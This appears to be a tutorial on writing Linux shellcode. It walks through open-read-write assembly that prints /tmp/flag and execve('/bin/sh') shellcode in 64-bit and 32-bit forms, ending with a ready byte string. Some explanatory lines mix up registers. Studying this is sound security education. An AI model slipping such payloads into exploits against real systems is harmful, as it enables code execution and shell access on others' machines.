Shellcode is a piece of assembly code written for an exploit, usually for the purpose of acquiring a shell, hence the “shell” prefix.
Acquiring a shell is very important from a system hacking perspective, as we'll see in execve shellcode.
If a hacker can move a RIP into shellcode of their own creation, they can then cause any assembly code they want to execute.
Since assembler is almost a one-to-one correspondence to machine language, you can give the CPU virtually any command you want.
Because shellcode is composed of assemblers, it is written differently depending on the architecture and operating system you are attacking, and the purpose of the shellcode.
There are sites that collect and share commonly used shellcode by architecture.
However, because shared shellcode is written generically, it does not fully reflect the system environment, such as the state of memory when it is executed.
Therefore, the best shellcode is usually written by you, and in some cases, you may need to do so.
Be aware that there are services that share shellcode, but you should always be able to write your own for these situations.
orw shellcode can
open file -> read -> print to display
below is C based code which can execute same as orw shellcode
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
this orw shellcode is open, read and display the contents of file named of "/tmp/flag"
you hve to know below syscall to write orw shellcode
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| read | 0x00 | unsigned in fd | char *buf | size_t count |
| write | 0x01 | unsigned in fd | const char *buf | size_t count |
| open | 0x02 | const char *filename | int flags | umode_t mode |
let's make C code into assembly code
int fd = open("/tmp/flag", RD_ONLY, NULL)first of all you need to locate string "/tmp/flag"(0x67616c662f706d742f(format of "/tmp/flag" in little endian )) into memory
The stack can only be pushed in 8-byte increments so push 0x67 and push again 0x616c662f706d742f
after set $rsp to $rdi, so that $rdi point the pushed things
set $rsi = 0
//https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24 /* File access modes for `open' and `fcntl'. */ #define O_RDONLY 0 /* Open read-only. */ #define O_WRONLY 1 /* Open write-only. */ #define O_RDWR 2 /* Open read/write. */
when read file, it doesn't have mean of MODE, so $rdx=0
lastly, $rsi = 2, which means open in syscall
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
read(fd, buf, 0x30)return value of syscall go to $rax
which means, value of fd opening /tmp/flag is in $rax
we have to set argc[0] to fd ,so substitute $rax for $rdi
$rsi = address of data read by file, size is 0x30.
-->substitude $rsi for $rsp-0x30
$rdx = lenth of data (0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
write(1, buf, 0x30)set $rdi = 0x1, because print gonna be stdout
reuse $rsi,$rdx from read()
set $rax = 1, for call write syscall
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30
To summarize,
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
AND this can be changed in skeleton code
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}
shell mean user interface for instruct system.
so when you hacked something and get an shell(like bash or zsh or csh or ... etc), it means your success to system hacking(a.k.a pwnable)
execve shellcode is execute arbitrary file
if you using execve shellcode, you can get a shell working on the server
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
shellcode for execve("/bin/sh", null, null)
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
skeleton code
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(<user_id>) gid=1000(<group_id>) groups=1000(<group_name>)
; File name: shellcode.asm section .text global _start _start: xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80$ sudo apt-get install nasm $ nasm -f elf shellcode.asm $ objdump -d shellcode.o shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 c0 xor %eax,%eax 2: 50 push %eax 3: 68 2f 2f 73 68 push $0x68732f2f 8: 68 2f 62 69 6e push $0x6e69622f d: 89 e3 mov %esp,%ebx f: 31 c9 xor %ecx,%ecx 11: 31 d2 xor %edx,%edx 13: b0 0b mov $0xb,%al 15: cd 80 int $0x80 $$ objcopy --dump-section .text=shellcode.bin shellcode.o $ xxd shellcode.bin 00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1 00000010: c931 d2b0 0bcd 80 .1..... $# execve /bin/sh shellcode: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"